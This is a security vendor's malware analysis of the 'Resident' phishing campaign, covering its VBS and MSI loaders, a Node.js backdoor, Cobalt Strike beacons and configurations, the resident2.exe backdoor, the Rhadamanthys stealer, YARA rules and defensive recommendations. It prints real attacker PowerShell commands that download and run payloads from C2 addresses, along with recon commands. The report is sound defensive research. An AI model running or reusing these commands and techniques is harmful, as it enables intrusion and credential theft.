eSentire Threat Intelligence Malware Analysis: Resident Campaign

Since November 2022, the eSentire Threat Response Unit (TRU) has observed the resurgence of what we believe to be a malicious campaign targeting the manufacturing, commercial, and healthcare organizations. The campaign is similar to the one reported by Trend Micro researchers in December 2020. The campaign is believed to be conducted by native Russian speaking threat actor(s).

This malware analysis references four separate incidents where our machine-learning PowerShell classifier, Bluesteel detected malicious PowerShell commands executing a script from an attacker hosted domain. It delves deeper into the technical details of how the Resident campaign operates and our security recommendations to protect your organization from being exploited.

Initial Infection Vector

The initial infection vector we have observed is a phishing email. It should be noted that the SANS Internet Storm Center has also observed the campaign spreading via drive-by downloads. The threat actor(s) are using email hijacking to deliver the malicious payload with a PDF attachment. The attacker(s) adds the sender domain to Vesta Control Panel to make it look legitimate when the user browses to the domain (Figure 1).

The PDF attachment contains the link to the domain that sends the user to saprefx[.]com domain and based on the geo location of the user, the domain will either redirect the user to the final domain that hosts the JavaScript payload or displays the TeamViewer installer page as shown below (Figure 2).

The JavaScript payload is usually hosted on compromised WordPress websites. An example of the initial JavaScript payload is shown in Figure 3.

After the user opens the JavaScript attachment, the script would directly download and execute the MSI file using InstallProduct method. In our example, the first retrieved MSI installer dropped Terminal_App_Service VBS (Visual Basic Script) file under ProgramData/Cis folder (we also observed the name Imdb.vbs being used (MD5: c3f9b1fa3bcde637ec3d88ef6a350977)).

The VBS file reaches out to the C2 with the serial number of the C drive on the infected machine as a parameter then it retrieves the Windows Installer product and runs it without the user’s knowledge in the background. The script enters the loop where it would continue retrieving and installing the MSI files every 9368 milliseconds (Figure 4).

The retrieved MSI files (we observed approximately 3 MSI files being retrieved originating from the VBS script), contain the tools or scripts to take a screenshot of the host at the time of infection; this is completed with an AutoHotKey script. We have also observed AutoIt, Python scripts, and i_view32.exe tool used to take the screenshot of the host.

Case Study #1

During the first campaign, our TRU team observed the threat actor dropping the backdoor, Cobalt Strike payload, and the Python script responsible for taking a screenshot of the host. Here are some of the files that were observed dropped on the endpoint during the first incident:

• sdv.vbs (C:\ProgramData\sdv) – MD5: 0e5598b0a72bf83378056ae52be6eda4, the script uses WScript.shell object to query the Windows Management Instrumentation (WMI) for information about active processes, caption, command line, creation date, computer name, executable path, OS (Operating Systems) name, and Windows version. It then sends the gathered information along with drive (C:\) serial number to the C2 (Figure 5).

• screen1.pyw (C:\ProgramData\sdv) – MD5: a628240139c04ec84c0e110ede5bb40b, Python script that is responsible for taking a screenshot and sending to the C2 with a serial drive number (Figure 6).

• hcmd.exe (AppData\Roaming\hcmd) – node.exe, MD5: f5182a0fa1f87c2c7538b9d8948ad3ce
• Imdb.vbs (MD5: c3f9b1fa3bcde637ec3d88ef6a350977).
• index.js (MD5: 5bdb1ac2a38ab3e43601eee055b1983f), under AppData\Roaming\hcmd folder – one of the main scripts deployed by the Resident campaign. The script serves as a backdoor and runs with a specific argument via the renamed node.exe binary (hcmd.exe) – hcmd.exe index.js 2450639401. The script is using Socket.IO for bi-directional communication and is setting up a command line interface that allows the infected host to connect to a C2 server via port 3000 using the given 'hwid' (Hardware ID) and 'password'.
  
  Once the connection is established with the C2, the code sets up event listeners for connect, disconnect, cmd-ping, and cmd-command events. The code logs a message to the console and when the disconnect and disconnect events are triggered, When the cmd-ping event is triggered, the code sends a cmd-pong message with the hwid. Finally, when the cmd-command event is triggered, the code executes the given command from the C2 in the terminal and logs the output (Figure 7).

• node_modules directory that contains the dependencies for node.exe (AppData\Roaming\hcmd).
• 7765676.exe (similar to the Cobalt Strike PowerShell DLL payload that we will mention later in this report) – the Cobalt Strike executable that was dropped via the active session with the C2 server via the backdoor access.

We have observed persistence techniques being created via Startup. Two shortcut files were created under the Startup folder.

• CUGraphic.lnk (Startup persistence) – the shortcut is responsible for launching the AutoHotKey script under ProgramData\2020 (Figure 8).

• Imdb.lnk (Startup persistence) – the shortcut file is pointing to the directory C:\ProgramData\Cis\. Upon running the malicious MSI installer, it installs the malicious “application” which is the Imdb.vbs script. The Application ID in the registry (e.g., HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-1866265027-1870850910-1579135973-1000\Products\985AA98E08645254995AFEA67F8AC3B6\Features\) allows the VBS file to run upon startup with the shortcut pointing to the directory.
  
  Application ID is a unique identifier assigned to a shortcut file when it is created. The Application ID is used to track the shortcut file and its associated application, so that Windows can properly manage the shortcut and its associated application (Figure 9).

So, what about the PowerShell?

The malicious PowerShell command mentioned before retrieves and executes the PowerShell script from 31.41.244[.]142. The PowerShell script loads kernel32.dll and crypt32.dll via LoadLibraryA and uses the function CryptStringToBinaryA from crypt32.dll to convert the base64 string to a binary format (Figure 10).

It then creates a file mapping of the binary data with the CreateFileMappingA function from kernel32.dll and maps the malicious payload into memory with MapViewOfFile function from the kernel32.dll. Finally, it invokes the mapped binary payload with the Invoke method.

The malicious payload which is the Cobalt Strike loader (MD5: f8d780f77553e7780ebcf917844571b0) enumerates the “powershell.exe” process using CreateToolhelp32Snapshot. It then attempts to request read and write access rights to the process. If it fails to get the access, the payload terminates (Figure 11).

The loader uses API hashing, shown in Figure 12.

Specifically using CRC32 with JAMCRC algorithm to hash the APIs with the 32-bit polynomial 0xEDB88320 that is used in CRC32 checksum table (Figure 13).

The malicious payload initially loads APIs from kernel32.dll, then the rest of the APIs from libraries such as advapi32.dll, wininet.dll and ws2_32.dll. We can create a quick IDAPython script to rename the DWORDs that store the API value (Figure 14).

The loader sample allocates the memory and decodes to MZRE header which is known for Cobalt Strike payloads that use magic_mz_x86 option to override the MZ header. The decoding routing uses a bitwise rotation as shown in Figure 15.

The decoding function can be implemented as follows:

n = 1
for byte in byte_array:
    b = byte & 255
    ror = ((b >> (n & 7)) | (b << (8 - (n & 7)))) & 255
    n += 1
    print(ror)

The Cobalt Strike configuration is shown below:

{
  "BeaconType": [
    "HTTP"
  ],
  "Port": 80,
  "SleepTime": 60000,
  "MaxGetSize": 1048576,
  "Jitter": 0,
  "C2Server": "31.41.244[.]142,/g.pixel",
  "HttpPostUri": "/submit.php",
  "Malleable_C2_Instructions": [],
  "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==",
  "HttpGet_Verb": "GET",
  "HttpPost_Verb": "POST",
  "HttpPostChunk": 0,
  "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe",
  "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe",
  "CryptoScheme": 0,
  "Proxy_Behavior": "Use IE settings",
  "Watermark": 1580103824,
  "bStageCleanup": "False",
  "bCFGCaution": "False",
  "KillDate": 0,
  "bProcInject_StartRWX": "True",
  "bProcInject_UseRWX": "True",
  "bProcInject_MinAllocSize": 0,
  "ProcInject_PrependAppend_x86": "Empty",
  "ProcInject_PrependAppend_x64": "Empty",
  "ProcInject_Execute": [
    "CreateThread",
    "SetThreadContext",
    "CreateRemoteThread",
    "RtlCreateUserThread"
  ],
  "ProcInject_AllocationMethod": "VirtualAllocEx",
  "bUsesCookies": "True",
  "HostHeader": ""
}

Case Study #2

In this incident, the threat actor(s) deployed their custom written backdoor tool named resident2.exe. The backdoor resident2.exe was dropped from the Cobalt Strike session and designates the end of the infection chain (Figure 17). The tools such as windows-kill.exe that terminates Windows processes and netping.exe (presumably the network ping tool) were also brought onboard by the threat actor.

The files we have observed being dropped from this case:

• s.au3 – (MD5: b8822d99850ac70cb3de0e1d39639add) – AutoIt script (dropped under C:\ProgramData\jaf\s.au3). The script is written in AutoIt scripting language; it takes the screenshot of the infected machine using functions such as _ScreenCapture_SetJPGQuality() and _ScreenCapture_Capture(), it then reads the content of the screenshot file (s.jpg), sets the request headers and sends it to the C2 server with the serial number of the C:\ drive recorded from s.vbs script (Figure 18).

• index.js (AppData\Roaming\hcmd\)
• au3.exe (ProgramData\2020\) – AutoHotKey tool.
• s.exe (ProgramData\jaf\) – AutoIT tool.
• Imdb.vbs (C:\ProgramData\Cis).
• hcmd.exe (AppData\Roaming\hcmd\hcmd.exe).
• s.vbs (ProgramData\jaf\) – gets the serial number of the C:\ drive and outputs it to a text file s.txt (Figure 19).

• windows-kill.exe (AppData\Roaming\hcmd\node_modules\nodemon\bin\) – Windows process “killer”.
• netping.exe (downloaded via PowerShell: powershell Invoke-WebRequest hxxps://temp[.]sh/BOTnt/netping.exe -OutFile C:\programdata\netping.exe) – we could not retrieve the file from the system, but we assume it is the network ping tool that pings a range of IP addresses.
• resident2.exe – the custom written backdoor.

As you might have noticed, the index.js backdoor is also present in this case. The backdoor session was established via the command hcmd.exe index.js 2094656165.

During the established backdoor session two Cobalt Strike payloads were downloaded from 62.204.41[.]171 via the following commands:

• powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://62.204.41[.]171:80/a'))"
• powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://62.204.41[.]171:80/b'))"

The threat actor(s) also performed reconnaissance with the following commands:

• net group “domains admins” /domain
• whoami /groups
• ipconfig /all

What is resident2.exe?

The binary is 32-bit executable written in C programming language. Upon successful execution the binary creates a copy of itself under C:\ProgramData\RtlUpd as RtlUpd.exe. The persistence is achieved via a scheduled task named “RtlUpd” that runs every 10 minutes starting from the time when the binary was first executed (Figure 20).

The strings in the binary are encrypted with RC4 (Figure 21).

The encrypted strings are stored in .rdata section and would skip the first 4 bytes and take the next 4-5 bytes of the hexadecimal string as an RC4 key, the rest of the string would be the encrypted data (Figure 22).

<p>The binary contains the custom base64-encoded and RC4 encrypted string of in the /GET requests as shown in Figure 23.</p>

This function in Figure 24 is retrieving the volume serial number, computer name, and username of the current system. It then base64-encodes the retrieved values.

The CRC32 function in Figure 25 is supposed to calculate the checksum for the computer name and username separately although it produces different checksum values for unknown reasons.

Moving forward, the binary build the string based on the pattern %d|%08X%08X|%d|%d|%d|%d|%hs|%hs which can be translated into |<VolumeSerialNumber||||calc_val||.

The can be 0 or the hexadecimal representation of the image base address of the binary. The calc_val contains the calculated value based on the wProcessorArchitecture value plus the value returned from GetSystemMetrics.

The API retrieves the build number if the system is Windows Server 2003 R2, otherwise it would return 0 and if the value is 0 – a1 will hold the value 4 otherwise it will be 6 (Figure 26).

Next, the binary would use generated string pattern and “24de21a8-a70b-4364-82b1-dc08434c93d7” as an RC4 key to produce a value that they will use within the base64-encoding algorithm along with the generated string pattern we mentioned before. The final result is a custom base64-encoded string (Figure 27).

Further analyzing the binary, we noticed that the binary checks if the argument to run the binary contains “/p” and if it does, the binary returns 1 and reaches out C2. If the binary contains 0 arguments, it proceeds with dropping RtlUpd.exe under %ALLUSERSPROFILE%\RtlUpd.

We have noticed that the binary has the capability of dropping RtlUpd.dll as well under %ALLUSERSPROFILE%\RtlUpd and %APPDATA%\RtlUpd, it then schedules the tasks to run the files whether it is RtlUpd.exe or RtlUpd.dll. The reason it performs the checks is to confirm if the copy of the payload already exists on the system (the scheduled task is set to run the binary copy with a “/p” argument) and if the copy exists it simply initiates the C2 connection.

The binary resolves the APIs dynamically as it’s shown in Figure 28.

One of the main functionalities of resident2 binary is the ability to execute the payloads that can be placed by the threat actor(s) during the hands-on intrusion activity or directly retrieved from C2. The binary abuses LOLBAS (Living Off the Land Binaries and Scripts) – shell32 and certutil.exe to run the malicious payloads. The binary checks if the payload has “.exe” or “.dll” extensions.

If the payload is an executable, the command “rundll32.exe shell32.dll,ShellExec_RunDLL %s” would be executed; if the payload is a DLL – the command “rundll32.exe %s, Start“ is set to run, where %s is the payload filename (Figure 29).

eSentire TRU is almost certain one of the function’s functionalities is to run the Cobalt Strike payload deployed by threat actor(s). One of the Cobalt Strike payloads we have analyzed contained the “Start” value as the ordinal.

As for certutil.exe, the “-decode” parameter can be used to decode Base64-encoded data. In our case, the attacker(s) can decode the Base64-encoded payload that is hidden within the certificate file (Figure 30).

The scheduled task would be created to run the payloads using the techniques described above where the class identifier CLSID is calculated based on the name of the payload, its unique identifier and volume serial number (Figure 31).

Case Study #3

In this incident, the threat actors initiate their intrusion by abusing wscript.exe to launch the malicious JavaScript file. Additionally, the graphic editor tool i_view32.exe was also dropped to take a screenshot of the infected host. The threat actor also attempted to deploy the Rhadamanthys stealer (Figure 32).

Files dropped:

• app.js – (C:\ProgramData\Dored) – MD5: 89e320093ce9d3a9e61e58c1121b76e7, the script runs an executable file called i_view32.exe (IrfanView – graphic viewer, editor tool) with two arguments "/capture" and "/convert=skev.jpg". This command will capture an image and convert it to the file format "skev.jpg" (Figure 33).

• index.js (C:\ProgramData\Dored) – MD5: 44839c07923d8a37f49782e6a2567950, the script sends the screenshot taken with IrfanView tool along with the serial drive number to the C2 (Figure 34).

• sdv.vbs – (ProgramData\sdv\) – gets the serial number of the C:\ drive and outputs it to a text file t.txt.
• i_view32.exe – graphic editor tool
• skev.jpg – screenshot image (C:\ProgramData\Dored)
• CUGraphic.lnk
• au3.ahk (ProgramData\2020\)
• au3.exe

The Rhadamanthys Stealer Case

During the case study #3 (Figure 35), at the end of the infection chain during the established C2 session, the threat actor(s) attempted to run Rhadamanthys Stealer on the host.

The stealer or, to be specific, the loader part of the stealer can be easily identified by the rundll32.exe process spawning from the initial payload with the command pattern: rundll32.exe nsis_uns{hexadecimal_numbers}, PrintUIEntry |5CQkOhmAAAA|1TKr5GsMwYD|67sDqg8OAAl|xYmwxC0TNSO|1k8B3tZkgiyf2sAZQByAG4XAP9sADMAMgAuAKVkHwBs8| {redacted}

The nsis_uns DLL is dropped under the path C:\Users\\AppData\Roaming\ and is used to map the retrieved shellcode into the memory space and execute it.

Rhadamanthys Stealer first appeared in September 2022 on the Russian speaking forum (Figure 36).

Currently the stealer developer is working on integrating the keylogger plugin into the stealer (Figure 37).

The stealer exfiltrates system information, screenshot, Browser credentials and cookies, crypto wallets, FTP, Mail clients, Two Factor Authentication applications (RoboForm, WinAuth, Authy Desktop), password manager (KeePass), VPN, Messenger data (Psi+, Pidgin, TOX, Discord, Telegram), Steam, TeamViewer SecureCRT, additionally it also exfiltrates NoteFly, Notezilla, Simple Sticky Notes, Windows 7 and 10 Sticky Notes. The stealer admin panel is operated within CentOS 7 (Ubuntu 16) panels.

Some of the crypto wallet extensions that the stealer exfiltrates:

The stealer can perform brute-force against crypto wallets using the list of custom passwords.

Browsers:

Crypto Wallets:

FTP clients:

Mail Clients:

VPN:

The stealer can retrieve the files on the host via the File Grabber module (Figure 38).

The Extension module contains the functionality to run the PowerShell scripts and download the binaries directly from the Internet via PowerShell (Figure 39).

The Task section allows the stealer to perform certain actions upon execution (Figure 40).

The Server section (Figure 41) contains the main configurations for the stealer such as the option to enable area restrictions. If the option is on, the stealer will not work in countries such as Russia and Ukraine, although the stealer developer mentioned that the stealer will not work in Commonwealth of Independent States (CIS) countries).

In addition, it also configures ports for server-side binding address (the main communication with the C2 including shellcode retrieval after the successful execution) and admin panel binding address (the attacker can change the ports from the default :443 to any other ports for the admin panel access).

The attacker can also change the gateway address which is the directory where the stealer retrieves the shellcode, “/blob” serves as a default directory.

The Build section (Figure 42) specifies how the binary is built including the options to enable anti-debugging, anti VM, launching the executable with administrative privileges and the file pump feature to increase the file size by filling it up with 0s to bypass Antivirus and some sandbox checks. The exfiltrated data is transmitted via WebSocket over the AES256 encrypted channel.

If the Task section is configured, the process .tmp.exe will be spawned as shown in Figure 43.

The dllhost.exe is spawned if the Extension module is configured to retrieve additional payloads or run PowerShell scripts/commands.

Case Study #4

In this incident, the threat actors first leveraged au3.exe that then spawned a serious of other malicious executables.

Files dropped by the threat actor(s):

• Terminal App Service.vbs (C:\ProgramData\Cis)
• app.js (C:\ProgramData\Dored) – similar to the previous case
• au3.exe (C:\ProgramData\2020)
• au3.ahk (C:\ProgramData\2020)
• index.js (C:\ProgramData\Dored) – screenshot sender script, similar to the 3rd incident
• i_view32.exe (C:\ProgramData\Dored)
• skev.jpg – screenshot image (C:\ProgramData\Dored)
• hcmd.exe (AppData\Roaming\hcmd\hcmd.exe)
• index.js (AppData\Roaming\hcmd)
• hcmd.exe (AppData\Roaming\hcmd)

After obtaining the backdoor session to the infected machine via the command hcmd.exe index.js 2450639401, the actor(s) ran the systeminfo command to collect detailed system information and attempted to ping the Domain Controller. The threat actor(s) also attempted to pull the Cobalt Strike payload from the server which happens to be also the one hosting Cobalt Strike.

The command line used to retrieve the Cobalt Strike payload from the established backdoor session:

• powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp[:]//62.204.41[.]155:80/sjj63NS'

The following is the beacon configuration:

{
  "BeaconType": [
    "HTTP"
  ],
  "Port": 80,
  "SleepTime": 60000,
  "MaxGetSize": 1048576,
  "Jitter": 0,
  "C2Server": "62.204.41[.]155,/pixel",
  "HttpPostUri": "/submit.php",
  "Malleable_C2_Instructions": [],
  "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==",
  "HttpGet_Verb": "GET",
  "HttpPost_Verb": "POST",
  "HttpPostChunk": 0,
  "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe",
  "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe",
  "CryptoScheme": 0,
  "Proxy_Behavior": "Use IE settings",
  "Watermark": 1580103824,
  "bStageCleanup": "False",
  "bCFGCaution": "False",
  "KillDate": 0,
  "bProcInject_StartRWX": "True",
  "bProcInject_UseRWX": "True",
  "bProcInject_MinAllocSize": 0,
  "ProcInject_PrependAppend_x86": "Empty",
  "ProcInject_PrependAppend_x64": "Empty",
  "ProcInject_Execute": [
    "CreateThread",
    "SetThreadContext",
    "CreateRemoteThread",
    "RtlCreateUserThread"
  ],
  "ProcInject_AllocationMethod": "VirtualAllocEx",
  "bUsesCookies": "True",
  "HostHeader": ""
}

Conclusion

Our TRU team identified a malicious campaign known as Resident, which is believed to be carried out by Russian native-speaking threat actors. The threat actors behind Resident are attempting to infiltrate networks and exfiltrate data from infected machines by using backdoors, Cobalt Strike, and stealers. In particular, they have been observed using the Rhamadanthys stealer, which is known for its stealthy capabilities, instead of other more well-known stealers such as Redline and Vidar.

The threat actors are using these techniques to gain a foothold and propagate across a network laterally, making it difficult for victims to detect or respond quickly. The campaign could cause significant disruption and financial losses for those impacted. As such, eSentire’s Threat Intelligence team in collaboration with TRU have engineered various detection capabilities to detect and prevent Resident infections.

How eSentire is Responding

Our Threat Response Unit (TRU) combines threat intelligence obtained from research and security incidents to create practical outcomes for our customers. We are taking a comprehensive response approach to combat modern cybersecurity threats by deploying countermeasures, such as:

• Implementing threat detections and BlueSteel, our machine-learning powered PowerShell classifier, to identify malicious command execution and exploitation attempts and ensure that eSentire has visibility and detections are in place across eSentire MDR for Endpoint.
• Performing global threat hunts for indicators associated with Resident campaign and Rhadamanthys Stealer.

Our detection content is supported by investigation runbooks, ensuring our SOC (Security Operations Center) analysts respond rapidly to any intrusion attempts related to a known malware Tactics, Techniques, and Procedures. In addition, TRU closely monitors the threat landscape and constantly addresses capability gaps and conducts retroactive threat hunts to assess customer impact.

Recommendations from eSentire’s Threat Response Unit (TRU)

We recommend implementing the following controls to help secure your organization against Rhadamanthys stealer and Resident campaign:

• Confirm that all devices are protected with Endpoint Detection and Response (EDR) solutions.
• Using Phishing and Security Awareness Training (PSAT), educate your employees regarding the risk of commodity stealers and drive-by downloads.
• Ensure standard procedures are in place for employees to submit potentially malicious content for review.
• Use Windows Attack Surface Reduction rules to block JavaScript and VBScript from launching downloaded content.

While the TTPs used by adversaries grow in sophistication, they lead to a certain level of difficulties at which critical business decisions must be made. Preventing the various attack paths utilized by threat actor(s) requires actively monitoring the threat landscape, developing, and deploying endpoint detection, and the ability to investigate logs & network data during active intrusions.

eSentire’s TRU is a world-class team of threat researchers who develop new detections enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and automate rapid response to advanced threats.

If you are not currently engaged with an MDR provider, eSentire MDR can help you reclaim the advantage and put your business ahead of disruption.

Learn what it means to have an elite team of Threat Hunters and Researchers that works for you. Connect with an eSentire Security Specialist.

Appendix

• https://www.trendmicro.com/pl_pl/research/20/l/stealth-credential-stealer-targets-us-canadian-bank-customers.html
• https://isc.sans.edu/diary/29376
• https://socket.io/docs/v4/
• https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
• https://twitter.com/Kostastsale/status/1607681239837966337?s=20&t=f7VZgGvjiy7TLzBHd2bAKg
• https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-2/

Indicators of Compromise

Yara rules

rule Resident_binary
{
    meta:
        author = "eSentire Threat Intelligence"
        date = "2023-01-17"
        version = "1.0"
        MD5 = “6e1cdf38adb2d052478c6ed8e06a336a”
    
    strings:
        $certificate_blob = {
            C7 00 2D 2D 2D 2D
            C7 40 ?? 2D 42 45 47
            C7 40 ?? 49 4E 20 43
            C7 40 ?? 45 52 54 49
            C7 40 ?? 46 49 43 41
            C7 40 ?? 54 45 2D 2D
            C7 40 ?? 2D 2D 2D 0D
            C6 40 ?? 0A
        }

        $guid_build = {
            FF 15 ?? ?? ?? ??
            48 8D 0D ?? ?? ?? ??
            E8 ?? ?? ?? ??
            41 89 F1
            41 89 D8
            4C 89 E9
            49 89 C4
            0F B6 44 24 ??
            89 7C 24 ??
            4C 89 E2
            89 44 24 ??
            0F B6 44 24 ??
            89 44 24 ??
            0F B6 44 24 ??
            89 44 24 ??
            0F B6 44 24 ??
            89 44 24 ??
            0F B6 44 24 ??
            89 44 24 ??
            0F B6 44 24 ??
            89 44 24 ??
            0F B6 44 24 ??
            89 44 24 ??
            0F B6 44 24 ??
            89 44 24 ??
            FF 15 ?? ?? ?? ??
        }
    
    condition:
        any of them
    
}
rule Rhadamanthys_Stealer {
    meta:
        author = "eSentire Threat Intelligence"
        date = "2023-01-17"
        version = "1.0"
        
    strings:
        $shellcode = {37 41 52 51 41 41 41 41 53 43 49 4A 41 51 41 45 41 41 41 42 49 41 49 42}
        $API1 = "LoadLibraryA"
        $API2 = "CreateCompatibleBitmap"
        $API3 = "GetProcAddress"
    
    condition:
        $shellcode and all of ($API*)
}

rule Rhadamanthys_Stealer {
    meta:
        author = "eSentire Threat Intelligence"
        date = "2023-01-17"
        version = "1.0"
        MD5 = "ccefe8680b7d168a9e840d25a6925db3"
        
    strings:
        $shellcode = {37 41 52 51 41 41 41 41 53 43 49 4A 41 51 41 45 41 41 41 42 49 41 49 42}
        $API1 = "LoadLibraryA"
        $API2 = "CreateCompatibleBitmap"
        $API3 = "GetProcAddress"
    
    condition:
        $shellcode and all of ($API*)
}

MITRE ATT&CK